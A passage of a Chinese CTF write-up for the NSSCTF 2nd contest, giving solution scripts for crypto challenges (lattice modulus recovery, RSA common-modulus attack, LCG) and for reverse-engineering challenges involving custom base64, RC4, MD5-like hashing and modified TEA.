18797057418663411295612229938999282286746920748194349166509084258061650142260043277698907538088835210620841171754186980908772147495732980563542600139935202965632319542217264685208215907551992891370166006725534397313373079841419662622936316343820775075897977228084528246337988431658221881343556854053475137330]

#求n

B = matrix(ZZ, 2, 20)
B[0] = es 
B[1] = [1 for _ in range(20)]

M = B.right_kernel_matrix()
L = M.LLL()

#求n
def compute_kn(coff):
    res_right = 1
    res_left = 1
    for i ,cof in enumerate(coff):
        if cof > 0:
            res_right = res_right * cs[i]**cof
        else:
            res_left = res_left * cs[i]**(-cof)
    return res_left - res_right

#最大公约数
n = compute_kn(L[0])
for l in L[1:]:
    n = gcd(compute_kn(l),n)
    n = factor(n,limit = 2**20)[-1][0]
    if n.nbits() <= 2048:
        break
print(n)
n = 144195616225517130139553879032789087363345719184209965153957734484017481087563259298073412179385691339856835367038233652960921043438130441546622467854561746540234185779818652424614702625694747523202592051400384839225423182264627929190443610610683526608116658120285614198376504623869469278859145863411493155577

第二步共模攻击求因子a

#共模攻击
e1 = 2333
e2 = 23333
c1 =  132894829064255831243210470637067717685821770359549730768366345840525257033166172926149293454192143005551270166547902269036843756318967855047301751521125394803373953151753927497701242767032542708689455184991906629946511295108898559666019232955132938245031352553261823905498810285940911315433144300083027795647
c2 =  24086830909813702968855830967174364278115647345064163689290457852025690324300607354444884288995399344650789235347773145941872226843099538451759854505842021844881825309790171852845467221751852440178862638893185965125776165397575087879479327323737686652198357863042305078811580074617322063509435591981140533310

def eeccn(e1,e2,c1,c2,n):
    g, x1, x2 = gcdext(e1,e2)
    return pow(c1,x1,n)*pow(c2,x2,n) % n

a = eeccn(e1,e2,c1,c2,n)
#a = 6916067937269950974206746204164509896240838110131015886297814490101615527867219160040558623231859474391279572961225727366045095864405799615600246029206211  

再用lcg的两个值求因子b

#o2 = a*o1 + b mod n 
output1 =  54997286032365904331111467760366122947903752273328087460831713533712307510311367648330090376100815622160705007873798883153287827481112070182047111994066594911019010222064952859306742931009422376955635523160546531204043294436812066746785938062292942759004837173423765427628610568097898331237064396308950601636
output2 =  115015764780168428067411132384122324817310808727138440691727747976276050930701648349452842302609389394467134068064132550313721128807222231505312226682756817617177620169804112319332815872107656884931985435898097063491690413460967856530075292289784649593915313885813931026280791070577034075346669028068003251024

b = (output2 - a*output1)%n
long_to_bytes(b)
#NSSCTF{407f8832-6ffd-43bf-91a0-6900758cdff7}

REV

MyBASE

从主函数看就是个base64

void test()
{
  size_t v0; // [rsp+158h] [rbp+D8h] BYREF
  char Str[312]; // [rsp+160h] [rbp+E0h] BYREF
  char *Str2; // [rsp+298h] [rbp+218h]
  unsigned __int64 v3; // [rsp+2A0h] [rbp+220h]
  int i; // [rsp+2ACh] [rbp+22Ch]

  puts("Please input your flag:");
  scanf("%s", Str);
  v3 = strlen(Str);
  Str2 = base64_encode((__int64)Str, v3, &v0);
  for ( i = 0; i < v0; ++i )
    ;
  if ( !strcmp("YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g", Str2) )
    printf("success!");
  else
    printf("error!");
  free(Str2);
}

然后进到base64_encode里,发现有些变化,在1的位置这3个字符取的位置跟正常的相反

第2个是在每处理完3个字符后会进行exception_handler()

[NSSCTF 2nd] NSS两周年纪念赛。_第8张图片

 跟进后发现在这里会对base64的表进行变化,通过随机数,随机种子是上一个表的第1个字符(入口参数是字符型,所以只将第1个字符作种子)。

[NSSCTF 2nd] NSS两周年纪念赛。_第9张图片

 有这个流程就可以逆了,总体来看不很很复杂

from pwn import u32 
from ctypes import *

clibc = cdll.LoadLibrary("msvcrt.dll")

enc = b'YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g'
tab = b'+86420ywusqomkigecaYWUSQOMKIGECABDFHJLNPRTVXZbdfhjlnprtvxz13579/'

flag = b''
for i in range(0,len(enc),4):
    v = [tab.index(enc[i+j]) for j in range(4)]
    k3 = ((v[1]&3)<<6) + v[0]
    k2 = ((v[2]&0xf)<<4) + (v[1]>>2)
    k1 = (v[3]<<2)|(v[2]>>4)
    flag += bytes([k1,k2,k3])
    
    #change tab
    seed = tab[0] #取第1个字符为种子
    clibc.srand(seed)
    ttab = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    v = [_ for _ in ttab]
    for j in range(63,0,-1):
        v3 = clibc.rand()
        v[v3%(j+1)],v[j] = v[j],v[v3%(j+1)]
    tab = bytes(v)
    print(flag, tab)


print(flag)
#NSSCTF{Welc0me_T0_Re_World}

Bytecode

这个给的是python的字节码,手工翻译,大意是这样

from base64 import *
import string

#引入函数 check,init,fun,encrypt1,encrypt2,encrypt 

if __name__ == '__main__':
    key = input('Please input your key:')
    if check(key) == 1:
        print('Right')
    msg = input('Please input your message:')
    box = init(key)
    encode = encrypt(msg,box)
    #73 62 63 fd 11 81 64 1c 52 02 f8 3e a6 2e 46 8c 47 23 12 e5 3a a7 23 50 53 69 92 9d e4 32 b6 d2 66 36 8d fd d6 44 2b 08 71 e3 08 0a
    string1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    string2 = 'YRiAOe4PlGvxaCoNj2ZgX+q8t/5Em6IUpM9FrVb7BKwsT1n3fSydhDWuQHJ0ckzL'
    encode = translate(maketrans(string1,string2), b64encode(encode.encode()))

    if encode == 'mWGFL24R/RSZY3pzK9H4FOmFOnXJKyCjXWbZ7Ijy11GbCBukDrjsiPPFiYB='
        print('Congraduation!You get the right flag!')
    else:
        print('Wrong!')
        
    print('Wrong')
    exit()



def check(key):
    x = (...fake...)
    if len(key) != len(x):
        print()
    
    for i in range(len(key)):
        if x[i] != ord(key[i])^i:
            xxx

def init():
    s_box = range(256)
    j = 0
    for i in range(256):
        j = s_box[i]+j + ord(key[i%len(key)])  
    s_box[i],sbox[j] = s_box[j],s_box[i]
    return s_box

def fun(msg):
    key = "Just kidding, don't take it personally!"
    x = []
    for i in range(len(msg)):
        x.append(ord(msg[i]) ^ ord(key[i%len(key)]))
        x.pop()
             #60 POP_TOP
    for i in range(len(x)):
        x[i]^=i

def encrypt1(msg):
    x = []
    i = 0
    j = 0
    for k in range(len(msg)):
        i = (i+1)%256
        j = (s_box[i] + j)%256
        s_box[i],s_box[j] = s_box[j],s_box[i]        
        t = (s_box[i] + s_box[j])%256
        x.append(s_box[t]^ord(msg[k]))
    return x 

def encrypt2():
    x = []
    i = 0
    j = 0
    for k in range(len(msg)):
        i = (i+1)%256
        j = (s_box[i] + j)%256
        s_box[i],s_box[j] = s_box[j],s_box[i]  
        t = (s_box[i] + s_box[j])%256
        x.append(s_box[t]^ord(msg[k]))
    return x 

def encrypt(msg):
    x = []
    i = 0
    j = 0
    for k in range(len(msg)):
        i = (i+1)%256
        j = (s_box[i] + j)%256
        s_box[i],s_box[j] = s_box[j],s_box[i]  
        t = (s_box[i] + s_box[j])%256
        x.append(s_box[t]^ord(msg[k]))
    return x 

只要翻译过来基本都能看明白了。最后有个小坑,得到的不是flag需要再作个序号+1的异或。

def init(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (s_box[i]+j + ord(key[i%len(key)]) )%256 
        s_box[i],s_box[j] = s_box[j],s_box[i]
    return s_box

key = "Just kidding, don't take it personally!"
tk = [78, 82, 81, 64, 80, 67, 125, 83, 96, 56, 121, 84, 61, 126, 81, 79, 79, 119, 38, 120, 39, 74, 112, 38, 44, 126, 103]
key = bytes([i^v for i,v in enumerate(tk)]).decode()
box = init(key)
print(box)

def encrypt(msg,s_box):
    x = []
    i = 0
    j = 0
    for k in range(len(msg)):
        i = (i+1)%256
        j = (s_box[i] + j)%256
        s_box[i],s_box[j] = s_box[j],s_box[i]  
        t = (s_box[i] + s_box[j])%256
        x.append(s_box[t]^msg[k])
    return x 


msg = bytes.fromhex('736263fd1181641c5202f83ea62e468c472312e53aa723505369929de432b6d266368dfdd6442b0871e3080a')
m = encrypt(msg,box)
print(bytes(m))
#b'OQPGQ@|mmk9

MyAPK

这题有个坑,由于不会动调,结果坑里没出来。与WP对照才弄明白。

APK用jadx打开可以看到代码。只要等到时间是66.666s,按下就会得到flag,所以理所当然是把代码扒下来自己运行。但是不对。

后来才知道怎么回事。

在红箭头的位置,把一个double转整形。但这里反编译的不准确,应该是先转long再转整,不然后会有偏差。

而且结果是hash值,所以哪个都看着差不多,只有提交才提示错。

[NSSCTF 2nd] NSS两周年纪念赛。_第10张图片

 直接拿代码编译运行即可。

class r2{
	
    public static String getit(String input) {
        int i;
        int messageLength;
        byte[] message;
        int g;
        int messageLength2;
        int f;
        int[] T = new int[64];
        for (int i2 = 0; i2 < 64; i2++) {
			//对Math.abs(...)*4.... 需要先转long再取int
            T[i2] = (int)((long)(Math.abs(Math.sin(i2 + 1)) * 4.294967296E9d));
        }
        byte[] message2 = input.getBytes();
        int d = message2.length;
        int numBlocks = ((d + 8) >>> 6) + 1;
        int totalLength = numBlocks << 6;
        byte[] paddedMessage = new byte[totalLength];
        System.arraycopy(message2, 0, paddedMessage, 0, d);
        paddedMessage[d] = Byte.MIN_VALUE;
        long messageBits = d * 8;
        int i3 = 0;
        while (true) {
            i = 8;
            if (i3 >= 8) {
                break;
            }
            paddedMessage[(totalLength - 8) + i3] = (byte) (messageBits >>> (i3 * 8));
            i3++;
        }
        int[] state = {-1732584194, -271733879, 271733878, 1732584193};
        int i4 = 0;
        while (i4 < numBlocks) {
            int[] block = new int[16];
            for (int j = 0; j < 16; j++) {
                int index = (i4 << 6) + (j << 2);
                block[j] = (paddedMessage[index] & 255) | ((paddedMessage[index + 1] & 255) << i) | ((paddedMessage[index + 2] & 255) << 16) | ((paddedMessage[index + 3] & 255) << 24);
            }
            int a = state[0];
            int b = state[1];
            int c = state[2];
            int j2 = 0;
            int d2 = state[3];
            while (j2 < 64) {
                if (j2 < 16) {
                    message = message2;
                    messageLength = d;
                    messageLength2 = d2;
                    f = ((~b) & messageLength2) | (b & c);
                    g = j2;
                } else {
                    message = message2;
                    messageLength = d;
                    messageLength2 = d2;
                    if (j2 < 32) {
                        f = (messageLength2 & b) | ((~messageLength2) & c);
                        g = ((j2 * 5) + 1) % 16;
                    } else if (j2 < 48) {
                        f = (b ^ c) ^ messageLength2;
                        g = ((j2 * 3) + 5) % 16;
                    } else {
                        f = ((~messageLength2) | b) ^ c;
                        g = (j2 * 7) % 16;
                    }
                }
                int temp = messageLength2;
                int d3 = c;
                c = b;
                b += Integer.rotateLeft(a + f + block[g] + T[j2], 7);
                a = temp;
                j2++;
                d2 = d3;
                message2 = message;
                d = messageLength;
                T = T;
                block = block;
            }
            int messageLength3 = d;
            int messageLength4 = d2;
            state[0] = state[0] + a;
            state[1] = state[1] + b;
            state[2] = state[2] + c;
            state[3] = state[3] + messageLength4;
            i4++;
            d = messageLength3;
            T = T;
            i = 8;
        }
        byte[] hash = new byte[16];
        for (int i5 = 0; i5 < 4; i5++) {
            hash[i5 * 4] = (byte) (state[i5] & 255);
            hash[(i5 * 4) + 1] = (byte) ((state[i5] >>> 8) & 255);
            hash[(i5 * 4) + 2] = (byte) ((state[i5] >>> 16) & 255);
            hash[(i5 * 4) + 3] = (byte) ((state[i5] >>> 24) & 255);
        }
        StringBuilder sb = new StringBuilder();
        for (int i6 = 0; i6 < hash.length; i6++) {
            sb.append(String.format("%02x", Integer.valueOf(hash[i6] & 255)));
        }
        System.out.println(sb.toString());
		return sb.toString();
    }
    public static void main(String[] args) {
        String my = "66.666s";
        System.out.println(getit(my));
    }
	
}
//NSSCTF{1a74ee530fafa690dcddd0ce38260755}

Tea or XTtea

这个也是差一点

这是一个经过混淆的代码,不过很短手工可以恢复

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // ecx
  __pid_t v6; // eax
  int v7; // ecx
  int v8; // eax
  size_t v9; // rax
  int v10; // ecx
  int v11; // edx
  int v12; // esi
  int v13; // eax
  size_t v14; // rax
  int v15; // ecx
  int v16; // edx
  int v17; // esi
  int v18; // eax
  int v19; // eax
  int v20; // eax
  int v21; // eax
  int v23; // [rsp+ECh] [rbp-24h]
  int v24; // [rsp+F0h] [rbp-20h]
  int v25; // [rsp+F4h] [rbp-1Ch]
  int v26; // [rsp+F8h] [rbp-18h]
  int v27; // [rsp+FCh] [rbp-14h]
  int v28; // [rsp+100h] [rbp-10h]
  size_t v29; // [rsp+108h] [rbp-8h]

  before_main();
  printf(aNoOneTraceMe, argv);
  puts("Please input your flag:");
  scanf("%s", input);
  v29 = strlen((const char *)(unsigned int)input);
  v23 = 1801919288;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( v23 == -1827964049 )
      {
        p = (__int64)&input[v28];
        v11 = *(_DWORD *)&input[v28];
        v12 = cd++;
        flag[v12] = v11;
        v23 = 1580933206;
      }
      if ( v23 != -1712856092 )
        break;
      v28 = 0;
      v23 = 904879898;
      close(dword_404138);
    }
    if ( v23 == -1700936880 )
      break;
    switch ( v23 )
    {
      case -1599979081:
        v19 = -1126838779;                      // 加密偶部分
        if ( v24 < 10 )
          v19 = 373420789;
        v23 = v19;
        break;
      case -1590649948:
        v13 = -864600155;
        if ( v27 < 10 )
          v13 = 601686237;
        v23 = v13;
        break;
      case -1371351848:
        p = (__int64)&input[v26];               // 写4字节到flag
        v16 = *(_DWORD *)&input[v26];
        v17 = cd++;
        flag[v17] = v16;
        v23 = 1181823979;
        break;
      case -1225256530:
        v27 += 2;
        v23 = -1590649948;
        break;
      case -1126838779:
        v21 = 194163193;                        // 20第3部分
        if ( k )
          v21 = 528867005;                      // 20。1
        v23 = v21;
        break;
      case -1116901551:
        v27 = 0;
        v23 = -1590649948;
        break;
      case -1063953602:
        v23 = 250224098;                        // 偶部分下一步
        break;
      case -864600155:
        close(fd[0]);
        _exit(0);
      case -378067225:
        close(dword_404138);                    // over
        wait(0LL);
        exit(0);
      case -166712886:
        v18 = 1520935878;                       // 10,加密前后部分
        if ( v25 < 5 )
          v18 = 1905508328;
        v23 = v18;
        break;
      case 31730073:
        k = 0;
        v23 = -1063953602;
        break;
      case 56367258:                            // 4,检查pid
        v8 = 2123706874;
        if ( !pid )
          v8 = -1712856092;
        v23 = v8;
        break;
      case 194163193:
        v23 = -378067225;
        puts("You are wrong!!!");
        break;
      case 250224098:
        ++v24;
        v23 = -1599979081;                      // 偶部分++
        break;
      case 258672972:                           // 3,fork进程
        v6 = fork();
        v7 = 56367258;
        pid = v6;
        if ( v6 == -1 )
          v7 = 1299675875;
        v23 = v7;
        break;
      case 355734949:
        k = 0;
        v23 = 845159230;
        break;
      case 373420789:
        v20 = -1063953602;
        if ( flag[v24] != enc1[v24] )           // 偶部分比较
          v20 = 31730073;
        v23 = v20;
        break;
      case 528867005:
        v23 = -378067225;
        puts("You are right!!!");
        break;
      case 601686237:
        encode_1((unsigned int *)&flag[v27], &key2);
        v23 = -1225256530;
        break;
      case 845159230:                           // 2,打开管道
        v4 = pipe(fd);
        v5 = 258672972;
        if ( v4 == -1 )
          v5 = -1700936880;
        v23 = v5;
        break;
      case 904879898:
        v9 = strlen((const char *)(unsigned int)input);
        v10 = -1116901551;
        if ( v28 < v9 )
          v10 = -1827964049;
        v23 = v10;
        break;
      case 1181823979:                          // 7,+=4
        v26 += 4;
        v23 = 1775879993;
        break;
      case 1285116999:                          // 12
        ++v25;
        v23 = -166712886;
        break;
      case 1299675875:
        exit(1);
      case 1520935878:                          // 21,
        v24 = 0;
        v23 = -1599979081;
        break;
      case 1580933206:
        v28 += 4;
        v23 = 904879898;
        break;
      case 1775879993:                          // 5,取长度 while循环检查
        v14 = strlen((const char *)(unsigned int)input);
        v15 = 1962670163;
        if ( v26 < v14 )
          v15 = -1371351848;
        v23 = v15;
        break;
      case 1801919288:                          // 长度检查 40
        v3 = 845159230;
        if ( v29 != 40 )
          v3 = 355734949;
        v23 = v3;
        break;
      case 1905508328:
        encode_2((unsigned int *)&flag[2 * v25], &key1);// 11,加密前部分
        v23 = 1285116999;
        break;
      case 1962670163:                          // jmp
        v25 = 0;
        v23 = -166712886;
        break;
      default:
        puts("this is father");
        v26 = 0;
        v23 = 1775879993;
        close(fd[0]);
        break;
    }
  }
  perror("pipe");
  exit(1);
}

按照运行顺序一段段理出来,应该是执行decrypt2,用key1

这个decrypto2是个魔改的Tea,已经像咖啡了

__int64 __fastcall encode_2(unsigned int *a1, unsigned int *key)
{
  int v2; // eax
  __int64 result; // rax
  int i; // [rsp+14h] [rbp-28h]
  unsigned int v5; // [rsp+1Ch] [rbp-20h]
  unsigned int v6; // [rsp+20h] [rbp-1Ch]
  unsigned int v7; // [rsp+24h] [rbp-18h]
  unsigned int v8; // [rsp+28h] [rbp-14h]

  v8 = *a1;
  v7 = a1[1];
  v6 = 0xC6EF3720;
  v5 = 0;
  for ( i = 0x97FDC462; ; i = 0x97FDC462 )
  {
    while ( 1 )
    {
      while ( i == 0x8480D1BC )
      {
        v6 -= 0x61C88647;
        v8 += (key[(v6 >> 2) & 4] + v6) ^ (v7 + ((v7 >> 3) ^ (16 * v7)));
        v7 += (key[v6 & 4] + v6) ^ (v8 + ((v8 >> 3) ^ (16 * v8)));
        i = 0x4E2F6F4;
      }
      if ( i != 0x97FDC462 )
        break;
      v2 = 0x304E1762;
      if ( v5 < 0x20 )
        v2 = 0x8480D1BC;
      i = v2;
    }
    if ( i != 0x4E2F6F4 )
      break;
    ++v5;
  }
  *a1 = v8;
  result = v7;
  a1[1] = v7;
  return result;
}

关键问题是这个Tea一般是4组key但这里用的&4只用0和4,一直猜用的是几。其实都不对,用的就是0和4(4是个0)

from pwn import u32,p32
from ctypes import *

#        v8 += (key[(v6 >> 2) & 4] + v6) ^ (v7 + ((v7 >> 3) ^ (16 * v7)));
#        v7 += (key[v6 & 4] + v6) ^ (v8 + ((v8 >> 3) ^ (16 * v8)));
def decrypt2(v, k):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x9e3779b9 
    #k0, k1, k2, k3 = k[0], k[1], k[2], k[3]

    total = c_uint32(delta * 32 + 0xC6EF3720)
    for i in range(32):                       
        #v1.value -= ((v0.value<<4) + k2) ^ (v0.value + total.value) ^ ((v0.value>>5) + k3) 
        #v0.value -= ((v1.value<<4) + k0) ^ (v1.value + total.value) ^ ((v1.value>>5) + k1)  
        v1.value -= (k[(total.value)&4] + total.value)^(v0.value + ((v0.value>>3)^(v0.value<<4)))
        v0.value -= (k[(total.value>>2)&4] + total.value)^(v1.value + ((v1.value>>3)^(v1.value<<4)))
        total.value -= delta
        
    return v0.value, v1.value   


key1 = [0x21,0x37,0x4d,0x63,0]
enc = bytes.fromhex('70641578EA8F3FA0CA83549A39A609D65B34900F200B30126A0DD03815C2F8C3C9022D84FB1ACF56')
enc = [u32(enc[i*4:i*4+4]) for i in range(10)]
#print([hex(i) for i in enc])

flag = b''
for i in range(0,10,2):
    v0,v1 = enc[i],enc[i+1]
    v0,v1 = decrypt2([v0,v1], key1)
    flag += p32(v0)+p32(v1)

print(flag)
#flag{tea_or_xtea_you_should_choose_one!}

写完睡觉,最后一个file_encrypt看了WP但没看题,就不看了。

你可能感兴趣的:(NSSCTF,2nd)